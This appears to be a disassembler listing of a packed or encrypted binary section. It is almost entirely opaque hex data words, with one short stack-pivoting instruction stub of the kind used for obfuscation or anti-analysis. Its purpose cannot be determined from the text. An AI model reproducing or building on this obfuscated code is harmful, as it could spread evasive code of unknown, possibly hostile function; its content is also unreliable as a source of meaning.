dd 0DDEFA047h, 9DCB575h, 0DDB65A3Eh, 95EB575h, 0DDF95A3Eh
dd 9FEB575h, 52E59A3Eh, 0D5585AB1h, 23ADA14Dh, 8F7CF033h
dd 57AAEDBBh, 0A92A4E8Ah, 56EF08CDh, 0FD86B132h, 9FDB36D9h
dd 35DB9F0h, 0DDCE5DB9h, 136CB977h, 6DA3C33Eh, 55A2A177h
dd 0AFE95ACAh, 9F14B1D9h, 3BABDF0h, 92DE5DB9h, 5646D1CEh
dd 0C57B132h, 2B95BB3h, 9FE6B77Ch, 0B636A01h, 0BCCF3ACEh
dd 0D5BCFF7Ah, 3229B10Dh, 23518EB1h, 42903237h, 292840D9h
dd 5EA1B136h, 56E6CEB1h, 5E9EB346h, 0D546F4CDh, 8DB6A5F5h
dd 53BECEB1h, 29D4BE46h, 47DEB722h, 52923A73h, 0BDE6EEB9h
dd 52323A2Fh, 0BDB6EEB9h, 521A3A21h, 7DA2EEB9h, 0BDD4B56Dh
dd 46D43237h, 17D4C431h, 0A636819h, 0A9CDB033h, 0EF454ECDh
dd 565DB137h, 0C1451AC1h, 0AA123A53h, 7FB72FBh, 56D55961h
dd 0D7B0B132h, 18212CD8h, 54203C34h, 0EE5BFF7Bh, 56AEB156h
dd 565763DAh, 6DA03A32h, 55C15AF3h, 97D1B579h, 1D76A640h
dd 247B8A22h, 0BD5F5A30h, 0DBBC5A26h, 18E009A8h, 0BD784E34h
dd 884F3C3Ah, 0A9ECFF88h, 0E2CEAE1h, 0BA31E4F1h, 565DB1DAh
dd 0BC2FEB32h, 5019E5DEh, 54113C52h, 0DDD3FF7Bh, 5163B977h
dd 0DF79F4B9h, 1331B575h, 5A1A3822h, 0DFBAF4B9h, 9F36A175h
dd 36ABA1F0h, 592C34F4h, 3EADB77Ah, 0FE62C228h, 7F1304CDh
dd 0D3D0B77Ah, 50E5CE52h, 0DB0561CDh, 18E29FB8h, 862AE034h
dd 78683C68h, 5973FF7Bh, 0DDB6F185h, 6752E3EAh, 0DF6DB268h
dd 1E5050B0h, 51C3D034h, 0E852h, 815A0000h, 4E555DEAh
dd 828B5206h, 64807E1h, 0C64E6DB9h, 5AE1F741h, 303905h
dd 0FFFF2500h, 82897FFFh, 64807E1h, 51C3595Ah, 0E852h
dd 815A0000h, 4E558DEAh, 0E8C88B06h, 0FFFFFFBBh, 0F1F7D233h
dd 595AC28Bh, 8BC08BC3h, 9E858DC0h, 0FF064E4Bh, 0C18B66D0h
dd 5556858Dh, 8589064Eh, 6481029h, 5586858Dh, 8589064Eh
dd 6480CE1h, 0B8h, 0FC00B00h, 4784h, 0F985C600h, 5606480Fh
dd 0C530DF68h, 0A9B5FFA9h, 8D064829h, 4B7F6085h, 50D0FF06h
dd 11C18D8Dh, 6A510648h, 10006804h, 0B5FF0000h, 6481345h
dd 0BD8BD0FFh, 6481345h, 813C7F03h, 0F8C7h, 2447C700h
dd 60000020h, 1A319D8Dh, 38B0648h, 840FC00Bh, 5, 4389008Bh
dd 4CF6B904h, 8D8D0023h, 64E56D7h, 0CEA7E881h, 8D8965B6h
dd 6481405h, 85C7F28Bh, 6483025h, 5FC0h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Dh, 0DC35646h, 4F2B03C0h
dd 7BF30539h, 0E1BD09DEh, 5306481Ch, 28F5B58Bh, 0C75A0648h
dd 482AD985h, 6, 0C2B70F00h, 2FB5B5FFh, 6A0648h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 3BB11FC3h, 89AAB1ACh, 48127595h, 7195FF06h, 306480Eh
dd 48183D9Dh, 0FF006A06h, 48092D95h, 0EBC08B06h, 0E5617E0Dh
dd 4462B871h, 10BF38B6h, 8D8D2A01h, 64E579Eh, 6E9h, 6F513E00h
dd 8908ABD0h, 4814058Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 488D10FBh, 331D16C5h
dd 7519D09h, 0D6810648h, 58B146CCh, 302585C7h, 618C0648h
dd 0BD330000h, 64811B1h, 7AEBCE81h, 85C7732Eh, 6482AD9h
dd 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 4AC35343h
dd 843C03C3h, 0C3BF0FF3h, 13A19D89h, 0B5FF0648h, 6480C39h
dd 0DB9958Bh, 95FF0648h, 6480E71h, 6860Fh, 9D8B0000h, 6480329h
dd 95FF006Ah, 648092Dh, 7BEBC08Bh, 6D589F8Bh, 91A0B7F4h
dd 0CD24E362h, 0CA6D7E2Dh, 13E9819Fh, 4EEBC7E4h, 0BF724BEDh
dd 0C21AE6Ah, 0F53FA171h, 0BF08E885h, 0AE789A0h, 0B18D1B5Bh
dd 75F730B9h, 55EDC8FCh, 88082B2Eh, 0BD9E786Eh, 5BCA4149h
dd 0E1EA5BDBh, 0B56B026Bh, 86D5DAF1h, 0E54CFCD9h, 7382D57Eh
dd 27BD04B8h, 0C6FCCB68h, 1AF848FAh, 0D4A2D0B0h, 0E669CC6Eh
dd 49008DD8h, 3B8546AEh, 6DB04D10h, 0E8CEBA1Ch, 6, 8FEA4169h
dd 0D3812A27h, 64391B6Bh, 3870F58h, 0F000000h, 0C081DEB7h
dd 6B85h, 10E8h, 44DEE800h, 0BA7F7122h, 88535E4Fh, 98D58CF3h
dd 0B9BD2BBAh, 5B06480Bh, 0BEh, 30148B00h, 8E8h, 1F0B5F00h
dd 9D562C8Bh, 6870FC4h, 89000000h, 48288DB5h, 0EA815F06h
dd 38EEEDACh, 5E9h, 4C7FB300h, 0C281DB1Eh, 4FD8813Ch, 3FD78166h
dd 1FEA81DDh, 57088272h, 14E8h, 84F0BD00h, 9AF3EE67h, 9CDEB088h
dd 6F7DD7CCh, 97FBECECh, 8E87Dh, 9D240000h, 576C929Ah
dd 595BB54Fh, 8B66525Bh, 30048FFBh, 819D8B53h, 5B064813h
dd 0F02EE83h, 1980h, 14E900h, 33680000h, 0C973E9A1h, 50C58AB8h
dd 0B8359A7Eh, 0F120F9E6h, 4E4E095Fh, 0C0E98166h, 9CFE81E9h
dd 0FFFFF95h, 1A85h, 8B665100h, 32E95BFBh, 43000000h, 0A03BF5FDh
dd 0BF7080F5h, 793A498h, 0E9424B9Dh, 11h, 0E76E71A3h, 64FC3159h
dd 3BA0C16Ch, 0F5EF056Dh, 0FF1FE9B5h, 0F81FFFFFh, 3FD59EBh
dd 2508EB16h, 4A25ADh, 0E9000000h, 0BB6h, 4E5AF068h, 0EF60E906h
dd 0D368FFFAh, 0E9064E5Bh, 0FFFAEF56h, 4E5D4E68h, 0EF4CE906h
dd 8068FFFAh, 0E9064E5Eh, 0FFFAEF42h, 4E603E68h, 0EF38E906h
dd 4768FFFAh, 0E9064E62h, 0FFFAEF2Eh, 4E639B68h, 0EF24E906h
dd 0A9EAFFFAh, 4D55737Fh, 0D9DBC5F5h, 5C434D0Dh, 0CFCAD484h
dd 47205D1Dh, 0AE22FAA7h, 34A46420h, 0B931EBAAh, 0D4D891Fh
dd 0C55215BDh, 2073D426h, 11778C41h, 810FE7D5h, 32B5D919h
dd 759A7F65h, 17B73E80h, 7C05B571h, 4B971151h, 0D6C93805h
dd 0E728AA2Bh, 8D13BB05h, 29AD317h, 0A765246Ah, 0DEA5D29h
dd 0E8759AD9h, 4C1F456h, 8F52CBE2h, 483FBD0Fh, 73D2CB97h
dd 14B688D0h, 9E3871EAh, 4240h, 65907700h, 3C2A9D31h, 998F5262h
dd 79D289C7h, 0B473D272h, 3B5917F5h, 0AE2CA27Ah, 2DBF3DE7h
dd 379C92B2h, 0AC1BB3E3h, 73D272CFh, 338CFD85h, 21EF0992h
dd 3876D69Fh, 38CE98AAh, 0DF329Eh, 77C50000h, 2E635611h
dd 1964A0E2h, 2FFD4438h, 9EDCBE66h, 656BB1F0h, 0DE990F91h
dd 0F3CEA6E2h, 99DCBE8Fh, 656BAFF5h, 0F5E52167h, 9A7EAB32h
dd 80445A75h, 39E3A2ECh, 0E8A429B3h, 7E7CB8EEh, 0C4E88CB7h
dd 0FB3D622Ch, 0D78AEBF5h, 2E93D96Fh, 8C16CF86h, 218F52E2h
dd 2752D39Fh, 0AFEC5B73h, 8A891C56h, 0ACF29C30h, 15586268h
dd 0FFB9E77Fh, 0FA92C223h, 5BA4E816h, 0DF0D8C12h, 199D0393h
dd 9F1A84C9h, 68F3E04Dh, 0A52B022Ah, 96608h, 0CC1C8700h
dd 5A9E028Ch, 0D20E8816h, 69ABF09Eh, 0E23A6761h, 52B2F3EEh
dd 0DBC5F557h, 45430FDBh, 0CAD48440h, 5810D4h, 251EFF68h
dd 0BEFB73D4h, 96A08179h, 647F6A09h, 9613BB32h, 69C3AB6h
dd 17F68EC2h, 2A7E940Fh, 0FFDEE0EEh, 0D4054E1h, 0FB659028h
dd 9A7FAF4Ch, 16F04A75h, 6259C97Eh, 62FC8F52h, 90F6986Ch
dd 11446654h, 0D272FB54h, 0A29CBC73h, 38C4E600h, 9F4C9Eh
dd 776B0000h, 72B2E911h, 0FDBCDA90h, 0D3FAA12Fh, 0D4759A7Bh
dd 8305AD75h, 31A447E5h, 0BF33F7ADh, 22E2B9E7h, 0B97D23ABh
dd 13477233h, 0EBDACC7Bh, 56778F52h, 84902520h, 3F653B4Bh
dd 0D05119FBh, 6ADDF1A5h, 891CB4DEh, 8709AD3Fh, 0F68EC21Ah
dd 0B408E95Eh, 53ED7598h, 0D735741Ah, 2A9C1B76h, 0A805CB02h
dd 883h, 0A921E3A4h, 33BF7B2Fh, 0BB371395h, 24E861Dh, 8BC70584h
dd 3071911Eh, 0BAFAE4D4h, 2164626Eh, 0B3E9F7FBh, 4B637B77h
dd 0D424FF9Ch, 569F1A73h, 9ED20A77h, 626EAAF0h, 0D51177CDh
dd 0FCBDFC1h, 940A8846h, 6E991850h, 0DD25A2CAh, 388F5254h
dd 0F4AA28A6h, 0FE58880Ch, 0ACED4F2h, 0A3793C62h, 0F38F742Ah
dd 0FE081847h, 0D1B7506Eh, 653BA515h, 3830DA1h, 616FBBFBh
dd 6F8FD5Fh, 94478D41h, 194640F4h, 9566C830h, 0C08E6897h
dd 5319C3C2h, 0D07BB591h, 0E780BEEEh, 9D7565A1h, 626BAFF3h
dd 0CAE2267Ch, 541ADEC4h, 0D48B430Ah, 0F494E17Eh, 0B15668B0h
dd 25A32FEBh, 7035BB7Fh, 0CA7D1145h, 0F1A30A3Ch, 5320A73Fh
dd 0B60D230Ah, 932DA114h, 772B56DFh, 3B2AE85Fh, 0BD0FF7EBh
dd 3A96483Fh, 89D10B6Bh, 80E915B7h, 4543E681h, 72000004h
dd 0D7E2F1C6h, 8A5C0BA3h, 418F526Fh, 0C18F4B5Fh, 70E5B235h
dd 0BE0073D2h, 5BE599DCh, 0FF2B6D33h, 0CCD2C2F6h, 91561FCDh
dd 0F2E0A27Ch, 5F772B56h, 0CD8D9C7h, 0A6777C4Eh, 43F2DCA2h
dd 841CF4F9h, 0B0A77EA5h, 5518EA59h, 14AFE690h, 0FBF14B08h
dd 0FFA10F3Ah, 5B656BB7h, 94BF7F1Ch, 72439AF4h, 0C13C4C5Ch
dd 9F379173h, 592C1728h, 5C70CA0Eh, 0F946C32h, 5D436B35h
dd 16CA8347h, 77D61288h, 856DF42Eh, 8A30AC0h, 39000007h
dd 0A422AE7Eh, 2AB424FCh, 923CBC68h, 1987CB0Dh, 910C4C98h
dd 57B5F414h, 0E9397D1Bh, 66BEE7E1h, 0F2366C6Ah, 1C6EEFEh
dd 73D42270h, 90231495h, 2A9D3165h, 8F5254C4h, 5F6D66C7h
dd 0AB9AD6A3h, 5C12AC22h, 1690683Eh, 0F7518BF6h, 7105E7F9h
dd 67816ED9h, 0C58273D2h, 73D26734h, 3F810FD1h, 0DADAF8B6h
dd 4242400Eh, 67FA9B4Ch, 4D1F73D2h, 0E450EDE3h, 0E64BD8EBh
dd 764894EEh, 0D97109EDh, 0D2A3816Eh, 34C58273h, 0D173D2A3h
dd 0B63F810Fh, 61F99896h, 0D2A309E6h, 1B52EC73h, 92096994h
dd 297E1C52h, 0BA30DEFh, 8CC10185h, 882B73F4h, 7CCE891Ah
dd 424C527Ch, 9AB8F485h, 0ED4F1175h, 0D8917EFh, 88CD9FDDh
dd 3D788006h, 75D7E9E7h, 0A7E9FD47h, 10AA20E0h, 16B18F5Dh
dd 9F04B470h, 98700E63h, 2CFC9h, 6590EC00h, 6D059D31h
dd 9A7F1DFAh, 4E66F875h, 9A7FF899h, 0A431D75h, 6816F25Dh
dd 0EA5DF58Fh, 73D4260Dh, 6F1F56E8h, 0AAD7B9DDh, 51507E72h
dd 0B517D3B7h, 268C4007h, 0E7BD73D4h, 0F1734223h, 25ABFB99h
dd 5D688h, 5C8CF700h, 0EA2E721Ch, 62BEF8E6h, 0F93B606Eh
dd 72AAD7F1h, 0C222437Eh, 4B5505C7h, 0B5D39F4Bh, 3AA414F0h
dd 9028A064h, 21AE4FF8h, 2E4B73D4h, 0FB6590E9h, 9A7FAF4Ch
dd 5A3BAC75h, 0BF759A7Fh, 73DD6F2Dh, 1641EC5Bh, 1EA08F68h
dd 0B1732876h, 5E44423Ch, 0D2C8D69Ah, 643A5816h, 94082AA0h
dd 0A4CF4AB5h, 521BF344h, 752BBCF2h, 4DD3178Dh, 0BF339D55h
dd 0D30C06E7h, 0A02EFEBBh, 44693F1Eh, 0F65252C8h, 0EAEFE6F8h
dd 9E3E87D8h, 1F772h, 0E9810500h, 9A7F917Eh, 46B4DB75h
dd 0FA762766h, 4502AA34h, 759A02B4h, 0D8C68F51h, 0BC4806C2h
dd 2D2A324h, 9537759Ah, 2A94601h, 0F24C759Ah, 9CDD3FBh
dd 0A3673B65h, 66DA932Dh, 5F85008Eh
dd 30646F16h, 1B9A049Ch, 0AFDB8CC1h, 428F5210h, 0D5CAD4F8h
dd 3FE45A13h, 73D21062h, 8A0B2525h, 10A475F2h, 4A5173D2h
dd 34FAC48Ah, 2AB4BAAh, 6F409265h, 9E417D66h, 4AEB9E38h
dd 8A000000h, 9D316590h, 636AB2F3h, 624CDA8Dh, 57E98F52h
dd 72E9A219h, 652473D2h, 0F7AB29A7h, 72A14EF9h, 0FA4473D2h
dd 22025218h, 0B53470Ch, 7F3A6435h, 0D89D2FADh, 38C4B7B3h
dd 8344DC9Eh, 73D27EF2h, 0A900B517h, 0AFh, 0D511774Ch
dd 6CB8F9E7h, 81F1F948h, 68FF0927h, 752BA965h, 79D3BB1h
dd 0F5D88FC3h, 0F2759A8Eh, 0BE3CF4ACh, 0EF498B10h, 66A2F8E6h
dd 0DC808B6Ah, 2FA30FB8h, 0D6B88F54h, 0E37A70ACh, 0EB686416h
dd 5ECCAECAh, 0CAC48953h, 3C45C70h, 73D05F72h, 0E8803597h
dd 0A921FBA6h, 0DBBA622Fh, 46277D6h, 183BB238h, 49000004h
dd 0B4D29E4Eh, 3AA414ECh, 0A22CAC78h, 29B73BFDh, 813CBC68h
dd 478504E4h, 0D9098D0Bh, 568EF791h, 0E2267C1Ah, 31B6DEEEh
dd 73D41F60h, 7733E485h, 69ED20Ah, 8AC31998h, 325A9E04h
dd 7F4C2D9Ah, 17A9759Ah, 774DE25Eh, 60C1D511h, 89B02B7Ch
dd 29E5E8F9h, 950DF5ABh, 36FFF35Dh, 0A73F570Bh, 8CBB580Fh
dd 8C5E759Ah, 986E1CC9h, 9C6D8F52h, 0D4CB1C38h, 210C5E1Ch
dd 159176E8h, 5B258735h, 8CC29C12h, 0D20344D7h, 2AEEB573h
dd 0AE30BE6Ah, 9B008ECCh, 5E72365h, 7FB1ED57h, 7CB292D4h
dd 395D010Ch, 1A17F08Eh, 2E12F389h, 23E7BD63h, 52AADFC2h
dd 0B5D9631Bh, 5ECDAA1Dh, 0AA28759Ah, 23BD33F5h, 9F500C41h
dd 4E961F81h, 9737BE00h, 198735F1h, 3DDA8D83h, 0D8759A7Fh
dd 4D34A406h, 0DE761E42h, 7FF08146h, 4B15759Ah, 6D214502h
dd 72CC8F52h, 6DCA877Ch, 810773D2h, 0F891745h, 56A35250h
dd 2D8FD3B4h, 3C72DAAFh, 655B8397h, 4A2B9C34h, 0AF73D266h
dd 0DB078F1Dh, 1982CB95h, 9E38DCEDh, 3147h, 65906E00h
dd 24059D31h, 5B00D7CCh, 0F899DED3h, 1D759A9Dh, 0F5720A43h
dd 8F528055h, 0BB606EF0h, 73D290E6h, 0E587B9A1h, 9E3826D9h
dd 10073h, 11770200h, 0B8F9E7D5h, 47A305EFh, 3BAC6C33h
dd 759AFA5Ah, 0E1432DBFh, 0F0B7EDEBh, 0ECD37391h, 0EDE34DA6h
dd 0D7137719h, 6EAAF09Eh, 4612BD62h, 8B15759Ah, 13165D0Eh
dd 7929B698h, 118FD19Fh, 99054894h, 0D8BC703h, 0FD396F97h
dd 1EC9EDFFh, 759ABB71h, 6268CA94h, 0C5477883h, 60B9D79Bh
dd 17F69E78h, 0C072BDC0h, 5A32BB91h, 529C39EDh, 224A148Fh
dd 0E1EF3D7Ch, 5BDA96DFh, 99680C30h, 0CFF2CCBCh, 552BA2B1h
dd 1C70CE92h, 90572F89h, 75987003h, 0C2C644E6h, 94764806h
dd 0C9139E00h, 429A0781h, 2A58A0E3h, 0DD905E02h, 20Fh
dd 25957730h, 0AF23E7BBh, 37BB6721h, 0BE32F2A9h, 74B9110h
dd 8C0DED8Ah, 0E761058h, 0B5F09ED2h, 3F65636Fh, 0BFD7F7FBh
dd 0D41D6B08h, 2AE38E73h, 0BAD20A77h, 9D41536Bh, 0AB22338Fh
dd 0F3C021F1h, 4CF435A2h, 75D73375h, 0B0485E40h, 64A14F4h
dd 31659031h, 1B9B059Dh, 0B63F81CFh, 526251F1h, 2F56F48Fh
dd 0FEA52BF5h, 73D2722Dh, 7278B8E0h, 0C7F54F54h, 6DF6C814h
dd 891B1535h, 9E38C47Dh, 28C97E16h, 0CD73D27Eh, 0FE637A73h
dd 12000000h, 0E7D51177h, 0E63B3E0Fh, 62140CF5h, 311CE859h
dd 4DFAA37Dh, 759AE6ACh, 0A015F749h, 0F95733Eh, 0F05455CBh
dd 4806E0FAh, 9AE2CC93h, 0DEC5CB75h, 4F847185h, 0BD1FD21Ah
dd 0A628AD3Fh, 0DCB424E0h, 42694C0Dh, 0B23B2760h, 3CB2762Ch
dd 27602668h, 4B460C94h, 7664C639h, 6F9A6154h, 6224A3CBh
dd 4F8F5273h, 934FDFDh, 3EA94155h, 73D26C51h, 6C049552h
dd 5FE173D2h, 0A910FD1h, 55ED83CAh, 6A926CBDh, 1A3017DEh
dd 0D253BC5Dh, 0CE875973h, 1CF2D019h, 0BE321389h, 0EF8C3B86h
dd 0A7598F1h, 0E1AC55B0h, 8D2CC81h, 0AD7F3A64h, 1AE6A32Dh
dd 8F0D4385h, 9D7FD905h, 2AA4EF30h, 4A92702h, 0BBh, 7179ABECh
dd 0FBF73357h, 430FDBDDh, 0CA865E45h, 531FCDCCh, 0F8B95926h
dd 6222AC2Ch, 0E9AC2AA6h, 8B11BF33h, 13BB034Fh, 0D41CC754h
dd 8E472273h, 9ED20A77h, 626EAAF0h, 0D51177CDh, 883E0FE7h
dd 60027845h, 0A8FEE0D5h, 7A856C6Ch, 7E16AEC6h, 5DA09BAFh
dd 0DB985E95h, 759AEB3Ah, 9F480DDFh, 8F6882B4h, 0BDE38B55h
dd 489411E5h, 90DEB802h, 0B2B24304h, 0F55773D4h, 0EEECA22Bh
dd 527C7CB8h, 1DC2884Ch, 0C7396ACFh, 81102E3Eh, 6EC4AAA0h
dd 87CE2E03h, 15458107h, 9BD1158Bh, 23A4A6FDh, 3FBF3A52h
dd 54B15B7h, 0C85F51B1h, 3C5A16D2h, 812CA266h, 3, 77BC8B54h
dd 0F09EDC0Ch, 62606EAAh, 0D5F3F923h, 5D7B71D1h, 0C4C2885Ch
dd 4B4907C5h, 0B0DE9C54h, 26A42AF6h, 5B28A662h, 81E18951h
dd 4C1h, 4E98300h, 31240C33h, 0C33240Ch, 89565C24h, 4C681E6h
dd 83000000h, 348704EEh, 2C895C24h, 0E2895224h, 4C281h
dd 0EA830000h, 24148704h, 241C895Ch, 599DBB53h, 8956064Eh
dd 5EF589DEh, 215B685Bh, 24890000h, 24048124h, 4, 8B8505Bh
dd 1000000h, 8B2889D8h, 0C4812404h, 4
db 8Bh, 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_54DD7E
; ---------------------------------------------------------------------------
db 0C0h, 0B8h, 7Bh
dd 3064E64h, 0FE0FFC5h, 310F5185h, 5A7BAB37h, 661EED76h
dd 45338061h, 0B24336EEh, 7009355Ah, 1128F07Fh, 0E01C7598h
dd 1343F52Ch, 8D10BCCAh, 991C461Fh, 1000C959h, 9B4C8074h
dd 160D69F2h, 9B76C63Ch, 0E863FC20h, 0Ch, 0C5FC20CEh, 0E00F04D2h
dd 3F87B761h, 5FF08B66h, 16840Fh, 0FE80000h, 0C6000000h
dd 64746DD8h, 2EE5464h, 1BC8EA10h, 5BF88578h, 637FC781h
dd 0DA8B0000h, 18B3BAh, 0DCB96600h, 0E9078B71h, 12h, 0DD662223h
dd 9616CCCDh, 7DA17FBEh, 9D210149h, 0C0812135h, 4A4274BCh
dd 6CB1DE81h, 0E8817AA1h, 7CAC9C71h, 1DF1C081h, 0BE97ED1h
dd 69000000h, 97880758h, 0D5459E0h, 81508813h, 703A90F3h
dd 0E9078F37h, 11h, 0A46C9931h, 460AE877h, 0D5C0AFB9h
dd 0FDC3EC74h, 2EF8375h, 4FC9BF0Fh, 0EA81F54Fh, 1, 0FF8B850Fh
dd 8166FFFFh, 0EB16EBE9h, 8, 15CD4C00h, 447E94Bh, 1C680000h
dd 0E9064E67h, 0FFFA1849h, 4E678B68h, 183FE906h, 0B868FFFAh
dd 0E9064E68h, 0FFFA1835h, 44243BBAh, 0CDAFAA48h, 31534ED1h
dd 0A4C4DD65h, 2F4D4CE8h, 0EB97AF04h, 881E8A16h, 6A3FF9Dh
dd 8E356103h, 637AE98Bh, 72994D0Bh, 42C59B7Ch, 8BF8F985h
dd 0D98587FCh, 0DF540DB3h, 1D189B77h, 66241F7Fh, 7F929FEFh
dd 21BB7C6Ch, 88E98683h, 98E99622h, 6C7E8ACAh, 5615C17Ch
dd 0A942857Eh, 2B35FDBh, 0D9C40000h, 0B1655E76h, 24329BDDh
dd 0C14E2976h, 43357856h, 36717C6Ch, 0A8B17CEAh, 9B1079D1h
dd 0E59C2358h, 0FF4FE7DBh, 3F8F06C4h, 7799FD4Ah, 0E27EE996h
dd 77344540h, 0C3FCD0DFh, 0A7F78E19h, 7389E4E1h, 6B2A80EFh
dd 0D21D0B13h, 43D2DD79h, 7B0809A9h, 0FE8F8A29h, 0FB9A30B1h
dd 0A5C7C261h, 3F7955ECh, 8D7151BDh, 27CC4CE2h, 0BCE09D20h
dd 59D61772h, 2B0A9h, 19189900h, 80852F7Bh, 3413B4E0h
dd 0B9B83854h, 2E23CFDBh, 68502142h, 0F3AFCDCCh, 8410706Dh
dd 0E9AE6F9h, 51026E65h, 9A28603Eh, 12B47C72h, 0DC7EB971h
dd 99437549h, 0DD747C72h, 7298C781h, 0DA9EF07Ch, 0E67C7298h
dd 268CEB99h, 0E67AED8Ah, 6925475Ah, 0E8BFCCCDh, 0D6A954h
dd 72991152h, 3F3AB97Ch, 0EEADF380h, 0AC5AD518h, 241h
dd 868670Eh, 7113169Ch, 0E5878225h, 680809A9h, 0D3B1B03Ch
dd 5FDBE3B0h, 0DC623E5Ah, 4AF7A3C1h, 0FA791577h, 0AFC69DFFh
dd 729999DFh, 681277Ch, 49DC7EB9h, 91941EB2h, 0AD2B83E0h
dd 7C7298FBh, 61F18EE9h, 7C729923h, 20CFBC2Eh, 23BF66Bh
dd 0B51DD8CBh, 0AFADE219h, 16F38DBh, 85630000h, 0FE8AFBFEh
dd 83127E75h, 0E74F4AE9h, 0F76E2C17h, 334A0E60h, 0E9967624h
dd 53FAD441h, 977C6C45h, 49927BFBh, 346F6F4Ah, 273F071h
dd 6C95F0B4h, 8483247Ch, 1A1FA5F7h, 0E45B156Dh, 0AB10C22Fh
dd 0A971867Dh, 205CDBh, 0B9C70000h, 7549DC7Eh, 7C6C4064h
dd 2886F7B0h, 7C6C3F6Ch, 90B46BE7h, 0DBA9036Bh, 0A5B1h
dd 0FE85EA00h, 32D791EDh, 89E57624h, 1E9FECEDh, 11631091h
dd 0E7FA8795h, 0F87B0966h, 80F98CFDh, 0F2FE9BBAh, 0BC5CF232h
dd 86503037h, 76249C9Ch, 189B8F34h, 9D0F6C1Dh, 0FD9F1C15h
dd 6DF8A29Dh, 6F352411h, 60F7B07Ch, 1C5C32C9h, 0A87C6EF3h
dd 0FAB67CFh, 0B6326E0Ah, 865D0CB3h, 0A45B0C55h, 11436h
dd 0BDB43D00h, 2421C3DFh, 0A8B74844h, 5D54DCC8h, 0C2C7633Fh
dd 0C349DA6h, 97036160h, 187414F1h, 0A2FE9A9Dh, 0ED660201h
dd 9AC484DAh, 4E107C72h, 0EBF985D5h, 0DCD35E48h, 0C041CEAFh
dd 484FF4A0h, 0FE858B28h, 75FE8AFBh, 81BA127Eh, 0B2724CDBh
dd 67C6C81h, 80591F6Fh, 18677C6Ch, 0DE750C9Bh, 81317747h
dd 0F0BF7C6Ch, 6C80E6A2h, 0CBA3F27Ch, 7C6C808Dh, 4DDF5C5Bh
dd 8A06ACA5h, 0E07CEBEEh, 74354245h, 5014C2DEh, 847C6C80h
dd 0C98F8FFh, 61277760h, 6F7C6C80h, 44F28300h, 75h, 5BEC80C3h
dd 2D16E64Ch, 2861F86Fh, 0F220A514h, 7E5CF225h, 7C730B4Eh
dd 1C6C1D9Ah, 4AEA8697h, 46612777h, 6F7C72h, 0EB5E183h
dd 65EC7A0Bh, 38C9CDEEh, 0AC579D42h, 54DFCBA9h, 0D0502051h
dd 0B525A0D1h, 918122F6h, 0F692130Eh, 8B1A199Ah, 0E5DE9AF4h
dd 9EEAC139h, 0C6D1A09h, 1A88278Fh, 11h, 0E2DB168Bh, 5B9A8919h
dd 2841D0F3h, 43EBEE94h, 0E5FC8520h, 787F0494h, 0FDFC790Bh
dd 7F6AFC8Ch, 0F3F6720Eh, 774AF682h, 0F7CA6A06h, 7655EA86h
dd 0CCC96B39h, 8956B9BFh, 4C681E6h, 83000000h, 348704EEh
dd 0C895C24h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
dd 68240C89h, 1506h, 68243C89h, 64E663Fh, 81240C8Bh, 4C4h
dd 3C8B5400h, 4C48324h, 8904EC83h, 0CB89241Ch, 5B085F89h
dd 53243C8Bh, 0C381E389h, 4, 8704C383h, 0FF5C241Ch, 83592434h
dd 12E904C4h, 36FFFA14h, 0A3BB6F42h, 69F1B8B6h, 0C503064Eh
dd 49DBE0FFh, 799346C1h, 0FEEC7BA2h, 0ADD02B91h, 0C76E6BA9h
dd 0D3101473h, 0AFC65C9Dh, 7DB635B7h, 41DA76BBh, 13947B93h
dd 0DAAF709Fh, 13F53DF3h, 8D755449h, 8AF200D5h, 0A768012Dh
dd 9DEC3E1Eh, 2A573F4Ch, 11CF6347h, 256369B6h, 0CF4D2FF0h
dd 0D1D142D4h, 20E1203h, 3F9C7A0Eh, 51DC1CDFh, 0E0AD7E5Fh
dd 0C9E915F5h, 43171B58h, 243A7411h, 0DE795FE8h, 171310ABh
dd 0E6741AD6h, 0A7B24784h, 0AE85854h, 0BA000000h, 4C30E85Dh
dd 0F24B6D79h, 5AFAB06Eh, 5AD48051h, 0F3C28158h, 0B400005Ah
dd 0FF52BB2Bh, 0C3815F7Ch, 0A0831736h, 666032FFh, 76DFC781h
dd 81665F61h, 818531E6h, 777696F7h, 11E96069h, 0F9000000h
dd 0BA0E072Eh, 3EB4B7E8h, 52D0003Eh, 0E8D2E1B3h, 0FE953h
dd 8F6C0000h, 9601C489h, 5EB8BDC7h, 719E64C6h, 81615F03h
dd 58C0FBC7h, 8B0F7Dh, 81000000h, 414B01C7h, 4870F01h
dd 53000000h, 8958CE8Bh, 0EE93Ah, 0DB640000h, 0CBF04AD2h
dd 11DE3FE4h, 0F357F0E6h, 32E4EA81h, 0B8666D2Bh, 0C281459Ch
dd 6D2B32E0h, 10850F4Bh, 0F5000000h, 21E9h, 0BA4C5B00h
dd 0CA17B91Eh, 52D0C351h, 815F5160h, 0BB9903D8h, 0E95E6172h
dd 0FFFFFF54h, 2A2E923Ch, 8D8D7590h, 64E6CABh, 10E9h, 0BBD94F00h
dd 9ECAC265h, 4109241Fh, 0E185A48Ah, 58D896Ch, 6A064814h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 0F6E0C350h, 2585C7EBh, 30064830h, 0E9000068h
dd 0Fh, 0B74ED552h, 639771CAh, 980E95D5h, 89B1408Dh, 481FA185h
dd 0D985C706h, 6482Ah, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 90B6C350h
dd 0F29EC761h, 1BD2943h, 0FF064824h, 480C39B5h, 9E806h
dd 28580000h, 5467DABBh, 66331F03h, 0FF5BF28Bh, 480E7195h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 973AFD26h, 0B70FB962h, 0FF006AFBh, 48092D95h
dd 0EBC08B06h, 0AC0C667Bh, 32D0A030h, 711E42FFh, 16A3DB83h
dd 4554D1D3h, 0F56F5CC8h, 25D00935h, 0F8C6D20h, 0F55D0978h
dd 9D87C59Bh, 201C93CBh, 2BCDE2FAh, 923C71A1h, 75902A2Eh
